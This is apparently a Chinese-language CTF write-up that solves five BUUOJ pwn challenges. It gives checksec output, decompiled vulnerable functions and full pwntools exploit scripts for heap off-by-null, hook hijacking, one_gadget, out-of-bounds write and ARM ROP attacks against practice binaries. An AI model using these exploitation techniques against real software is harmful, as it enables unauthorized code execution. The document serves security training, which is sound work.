ciscn_2019_n_7
falca@Ubuntu-2000:~/Desktop/ciscn_2019_n_7$ file ciscn_2019_n_7; checksec ciscn_2019_n_7
ciscn_2019_n_7: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=473d23e469163006913d143e50d6f401e66fb775, stripped
[*] '/home/falca/Desktop/ciscn_2019_n_7/ciscn_2019_n_7'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled
666会白给puts地址, 直接就有libc基址
__int64 print_puts()
{
return _printf_chk(1LL, &unk_10D4, &puts);
}
edit逻辑漏洞, 可以修改content指针
int edit()
{
if ( !unk_202014 )
return puts("Dont't exists.");
puts("New Author name:");
read(0, qword_202018 + 1, 0x10uLL);
puts("New contents:");
read(0, (void *)qword_202018[2], *qword_202018);
return puts("Over.");
}
修改content指针, one gadget 打 exit hook
from pwn import *
url, port = "node4.buuoj.cn", 28106
filename = "./ciscn_2019_n_7"
elf = ELF(filename)
libc = ELF("./libc64-2.23.so")
context(arch="amd64", os="linux")
local = 0
if local:
context.log_level = "debug"
io = process(filename)
else:
io = remote(url, port)
lf = lambda STRING, addr: log.info('{}: {}'.format(STRING, hex(addr)))
def B():
gdb.attach(io)
pause()
def leak():
io.sendlineafter('Your choice-> ', '666')
io.recvuntil('0x')
puts_addr = int(io.recvuntil('\n'), 16)
lf('puts address', puts_addr)
libc_base = puts_addr - libc.sym['puts']
lf('libc base address', libc_base)
return libc_base
def add(size, name):
io.sendlineafter('choice-> ', '1')
io.sendlineafter('Length: ', str(size))
io.sendafter('name:\n', name)
def edit(name, content):
io.sendlineafter('choice-> \n', '2')
io.sendafter('name:\n', name)
io.sendafter('contents:\n', content)
def exit():
io.sendlineafter('-> ','a')
def pwn():
libc.address = leak()
exit_hook = libc.address + 0x5f0040 + 3848
onegadget = libc.address + 0xf1147
add(0x20, cyclic(8) + p64(exit_hook))
edit('falcaaa', p64(onegadget))
exit()
if __name__ == "__main__":
pwn()
io.interactive()
qctf_2018_stack2
falca@Ubuntu-2000:~/Desktop/qctf_2018_stack2$ file QCTF_2018_stack2;checksec QCTF_2018_stack2
QCTF_2018_stack2: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=d39da4953c662091eab7f33f7dc818f1d280cb12, not stripped
[*] '/home/falca/Desktop/qctf_2018_stack2/QCTF_2018_stack2'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
有个数组越界写
还有个后门函数, 所以就是简单的越界劫持返回地址, 结果调试发现返回地址与IDA反汇编有差别, 因为汇编有魔改
调试确定
pwndbg> p 0xffffd05c - 0xffffcfd8
$1 = 132
比对比一下反编译结果
实际不是0x70 + 4, 而是0x74 + 0x10 = 132
from pwn import *
url, port = "node4.buuoj.cn", 28631
filename = "./QCTF_2018_stack2"
elf = ELF(filename)
# context(arch="amd64", os="linux")
context(arch="i386", os="linux")
local = 0
if local:
context.log_level = "debug"
io = process(filename)
else:
io = remote(url, port)
def B():
gdb.attach(io)
pause()
def pwn():
io.sendlineafter('have:\n','0')
# hackhere_addr = 0x0804859B
offset = 132
io.sendlineafter('5. exit\n','3')
io.sendlineafter('change:\n',str(offset))
io.sendlineafter('number:\n',str(0x9B))
io.sendlineafter('5. exit\n','3')
io.sendlineafter('change:\n',str(offset + 1))
io.sendlineafter('number:\n',str(0x85))
io.sendlineafter('5. exit\n','3')
io.sendlineafter('change:\n',str(offset + 2))
io.sendlineafter('number:\n',str(0x04))
io.sendlineafter('5. exit\n','3')
io.sendlineafter('change:\n',str(offset + 3))
io.sendlineafter('number:\n',str(0x08))
io.sendlineafter('5. exit\n','5')
if __name__ == "__main__":
pwn()
io.interactive()
ciscn_2019_s_1
falca@Ubuntu-2000:~/Desktop/ciscn_2019_s_1$ file ciscn_s_1; checksec ciscn_s_1
ciscn_s_1: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=28cf192fada7833eebe264746f7d1ed8db6866a7, not stripped
[*] '/home/falca/Desktop/ciscn_2019_s_1/ciscn_s_1'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
edit函数会多写一个null, 存在off-by-null漏洞
unsigned __int64 ed()
{
int v1; // [rsp+Ch] [rbp-14h]
_BYTE *v2; // [rsp+10h] [rbp-10h]
unsigned __int64 v3; // [rsp+18h] [rbp-8h]
v3 = __readfsqword(0x28u);
if ( key1 == 2 )
exit(0);
puts("index:");
v1 = read_int();
if ( v1 < 0 || v1 > 32 || !heap[v1] )
exit(0);
puts("content:");
v2 = (_BYTE *)heap[v1];
v2[read(0, v2, len[v1])] = 0;
++key1;
return __readfsqword(0x28u) ^ v3;
}
show函数同edit一样会受到key变量的限制而不能使用
unsigned __int64 sh()
{
int v1; // [rsp+4h] [rbp-Ch]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
if ( key2 )
{
puts("index:");
v1 = read_int();
if ( v1 < 0 || v1 > 32 || !heap[v1] )
exit(0);
puts((const char *)heap[v1]);
}
else
{
puts("only admin can use");
}
return __readfsqword(0x28u) ^ v2;
}
用off-by-null布局堆, 覆写key1, key2, 利用show函数泄露libc, 再故技重施劫持free_hook到system
from pwn import *
url, port = "node4.buuoj.cn", 29563
filename = "./ciscn_s_1"
elf = ELF(filename)
libc = ELF("./libc64-2.27.so")
context(arch="amd64", os="linux")
local = 0
if local:
context.log_level = "debug"
io = process(filename)
else:
io = remote(url, port)
lf = lambda STRING, addr: log.info('{}: {}'.format(STRING, hex(addr)))
def B():
gdb.attach(io)
pause()
def add(idx, size, content):
io.sendlineafter("4.show\n", "1")
io.sendlineafter("index:\n", str(idx))
io.sendafter("size:\n", str(size))
io.recvuntil("gift: ")
heap_addr = io.recvuntil("\n")
io.sendafter("content:\n", content)
return heap_addr
def delete(index):
io.sendlineafter("4.show\n", "2")
io.sendlineafter("index:", str(index))
def edit(index,content):
io.sendlineafter("4.show\n", "3")
io.sendlineafter("index:", str(index))
io.sendafter("content:\n", content)
def show(index):
io.sendlineafter("4.show\n", "4")
io.sendlineafter("index:", str(index))
def pwn():
key2_addr = 0x6022B8
for i in range(7):
add(i, 0xf8, 'falca')
add(7, 0xf8, '0')
add(8, 0xf8, '1')
add(9, 0xa8, '2')
add(10, 0xf8, '3')
add(11, 0xf8, '/bin/sh\x00')
for i in range(8):
delete(i)
payload = cyclic(0xa0) + p64(0x2b0) # sum size of chunks ahead
edit(9, payload)
delete(10)
for i in range(7):
add(i, 0xf8, 'falca')
add(12, 0xf8, 'a')
add(13, 0xf8, '5')
delete(13)
delete(8)
add(14, 0xf8, p64(key2_addr))
add(15, 0xf8, '6')
add(16, 0xf8, p32(1) + p32(0x200))
# off-by-null hijack hook
show(12)
io.recvuntil("\n")
malloc_hook = u64(io.recvuntil("\n", drop=True).ljust(8, b'\x00')) - 0x431
libc.address = malloc_hook - libc.sym["__malloc_hook"]
free_hook = libc.sym["__free_hook"]
system_addr = libc.sym["system"]
lf("libc base address", libc.address)
add(17, 0xa8, '1')
delete(17)
delete(9)
add(18, 0xa8, p64(free_hook))
add(19, 0xa8, 'pwning')
add(20, 0xa8, p64(system_addr))
delete(11)
if __name__ == "__main__":
pwn()
io.interactive()
jarvisoj_typo
falca@Ubuntu-2000:~/Desktop/jarvisoj_typo$ file typo; checksec typo
typo: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=211877f58b5a0e8774b8a3a72c83890f8cd38e63, stripped
[*] '/home/falca/Desktop/jarvisoj_typo/typo'
Arch: arm-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8000)
32bits arm 静态链接, 只开了NX和Partial RELRO
arm pwn 入门题目, 需要qemu-arm启动和gdb-multiarch进行调试, 环境相关和基础入门直接看hollk师傅的blog好了, 他写的是真的详细 (太牛了qaq
文件比较长而且去掉了符号表, 用字符串交叉引用快速定位关键函数
是sub_10BAB
调用了这个字符串
void __fastcall sub_10BA8(int a1, int a2, int a3, int a4)
{
int v5; // r0
int v6; // r1
int v7; // r0
int v8; // r3
int v9; // r4
int v10; // r2
int v11; // r0
int v12; // r1
int v13; // r2
int v14; // r0
int v15; // r3
int v16; // [sp+A4h] [bp-ACh] BYREF
int v17[42]; // [sp+A8h] [bp-A8h] BYREF
v17[32] = 0;
v16 = 1;
sub_20AF0(v17, 0, 128, a4);
if ( dword_A2450 )
{
sub_23E44(&dword_A2450, 1, &dword_A2450);
if ( dword_A2454++ == 0 )
{
if ( sub_315C8(2, &v16, &unk_A24E4) < 0 )
{
--dword_A2454;
}
else
{
v5 = sub_315C8(3, &v16, &unk_A2458);
if ( v5 < 0 )
{
v7 = sub_A6D0(v5, v6, dword_A2454);
v9 = *(_DWORD *)(v7 + *(_DWORD *)(v8 + 69228));
dword_A2454 = v10 - 1;
v11 = sub_315C8(2, &unk_A24E4, 0);
v14 = sub_A6D0(v11, v12, v13);
*(_DWORD *)(v14 + *(_DWORD *)(v15 + 69496)) = v9;
}
}
}
}
JUMPOUT(0xFFFF0FC0);
}
反编译的结果看不懂, 直接读汇编, 也看不懂…
搜索发现可以Rizzo恢复部分符号表, 辅助逆向 https://xeldax.top/article/IDA_BINARY_SYMBOL_DIFF
结果IDA7.6加载不出来这个rizzo …
那直接猜就完事 (本来想试试正逆结合来逆向, 发现写出来的程序逻辑过于简单, 以至于对逆向这个程序没有参考价值
因为在程序一开始可输入Enter键的位置处有执行命令行功能(试出来的), 所以猜测程序大概率有system(“/bin/sh”), 所以调用这个/bin/sh字符串的函数应该就等同system函数的效果, 看一下sub_10BA8的交叉引用, 得知sub_110B4函数会调用类似system的sub_10BA8函数, 所以可以劫持程序到这里执行
void __fastcall sub_110B4(int a1, int a2, int a3, int a4)
{
if ( a1 )
sub_10BA8(a1, a2, a3, a4);
else
sub_10BA8((int)"exit 0", a2, a3, a4);
}
调试确定溢出offset
用arm rop劫持返回地址到后门函数
from pwn import *
url, port = "node4.buuoj.cn", 27173
filename = "./typo"
elf = ELF(filename)
local = 0
if local:
context.log_level = "debug"
io = process(['qemu-arm', filename])
else:
io = remote(url, port)
def pwn():
pop_r0_r4_pc = 0x00020904
binsh_addr = 0x0006C384
system_addr = 0x000110B4
payload = cyclic(112) + p32(pop_r0_r4_pc) + p32(binsh_addr) + p32(0) + p32(system_addr)
io.sendlineafter('quit\n', '\n')
io.recvuntil('------Begin------\n')
io.sendlineafter('\n', payload)
if __name__ == "__main__":
pwn()
io.interactive()
这道题的一些小启发: 学术界在二进制领域关于恢复符号表的工作不知道发展得怎么样, 感觉算是一个不错的研究方向, 之后去调研调研
hfctf_2020_marksman
falca@Ubuntu-2000:~/Desktop/hfctf_2020_marksman$ file hfctf_2020_marksman;checksec hfctf_2020_marksman
hfctf_2020_marksman: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=5d306e5265f05e3538a27d9494544643ed382cbd, stripped
[*] '/home/falca/Desktop/hfctf_2020_marksman/hfctf_2020_marksman'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
打印puts函数地址泄露libc, 还可以修改指定内存低三字节
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
int i; // [rsp+8h] [rbp-28h]
int j; // [rsp+Ch] [rbp-24h]
__int64 v6; // [rsp+10h] [rbp-20h]
char v7[3]; // [rsp+25h] [rbp-Bh] BYREF
unsigned __int64 v8; // [rsp+28h] [rbp-8h]
v8 = __readfsqword(0x28u);
sub_9BA(a1, a2, a3);
sub_A55();
puts("Free shooting games! Three bullets available!");
printf("I placed the target near: %p\n", &puts);
puts("shoot!shoot!");
v6 = sub_B78();
for ( i = 0; i <= 2; ++i )
{
puts("biang!");
read(0, &v7[i], 1uLL);
getchar();
}
if ( (unsigned int)sub_BC2(v7) )
{
for ( j = 0; j <= 2; ++j )
*(_BYTE *)(j + v6) = v7[j];
}
if ( !dlopen(0LL, 1) )
exit(1);
puts("bye~");
return 0LL;
}
这题教会我one_gadget的正确打开方法, 那就是去读文档
因为只能写3个字节, 看起来不能劫持到onegadget, 但是未必如此, 用--level
参数搜索更多的onegadget可能会带来更多可能性
去libc中找可以只覆盖3字节就能得到开启ASLR机制时也具有相同libc地址的函数, 这里涉及到dlopen
调用链, 程序执行时会执行该调用链, 调试会发现最后会溯及_dl_catch_error
, 劫持这里可以只覆盖3字节同时绕过ASLR触发onegadget
from pwn import *
url, port = "node4.buuoj.cn", 29168
filename = "./hfctf_2020_marksman"
elf = ELF(filename)
libc = ELF("./libc64-2.27.so")
context(arch="amd64", os="linux")
local = 0
if local:
context.log_level = "debug"
io = process(filename)
else:
io = remote(url, port)
lf = lambda STRING, addr: log.info('{}: {}'.format(STRING, hex(addr)))
def B():
gdb.attach(io)
pause()
def pwn():
io.recvuntil("I placed the target near: ")
puts_addr = int(io.recvline(), 16)
lf("puts address", puts_addr)
libc.address = puts_addr - libc.sym['puts']
lf("libc base address", libc.address)
one_gadget = libc.address + 0xe569f
target_addr = libc.address + 0x5f4038 # _dl_catch_error_offset
io.sendlineafter("shoot!shoot!\n", str(target_addr))
input_gadget = one_gadget
for _ in range(3):
io.sendlineafter("biang!\n", chr(input_gadget & 0xff))
input_gadget >>= 8
if __name__ == "__main__":
pwn()
io.interactive()